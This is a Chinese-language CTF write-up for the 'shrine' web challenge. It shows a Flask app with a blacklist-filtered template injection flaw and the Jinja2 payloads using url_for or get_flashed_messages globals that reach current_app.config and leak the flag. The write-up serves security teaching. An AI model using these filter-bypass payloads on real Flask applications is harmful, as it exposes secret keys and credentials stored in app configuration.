攻防世界web高手进阶区shrine题解


攻防世界web高手进阶区shrine题解

前置知识

flask模板注入

长安战疫web-flask复现
这个题目是一种新的姿势

题目详解

打开题目,发现代码,ctrl+u代码审计

import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
    return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
    app.run(debug=True)

首先有一句

app.config['FLAG'] = os.environ.pop('FLAG')

告诉我们FLAG应该在config中,然后

@app.route('/shrine/<path:shrine>')

告诉了我们一个路径,尝试/shrine/123,回显:123
发现我们无论输入什么都会回显,尝试/shrine/{ { 2*3 } },回显:6
发现注点。
最后是一句过滤

s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']

发现ban了()和config以及self,
没有黑名单的时候,我们可以传入 config,或者传入{ { self._dict_ } }获取
那么我们原来格式的模板注入就不能用了,这个时候我们想到了内置函数url_for和get_flashed_messages
于是可以构造payload

/shrine/{{url_for.__globals__}}
/shrine/{{get_flashed_messages.__globals__}}

回显中有current_app,于是我们可以调用current_app中的config文件,最后构造payload

/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

回显:


其中找到了FLAG,得到flag:flag{shrine_is_good_ssti}

参考:
https://www.cnblogs.com/wuhongbin/p/14283829.html
https://www.freesion.com/article/36611011455/
https://blog.csdn.net/xj28555/article/details/107354079/


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !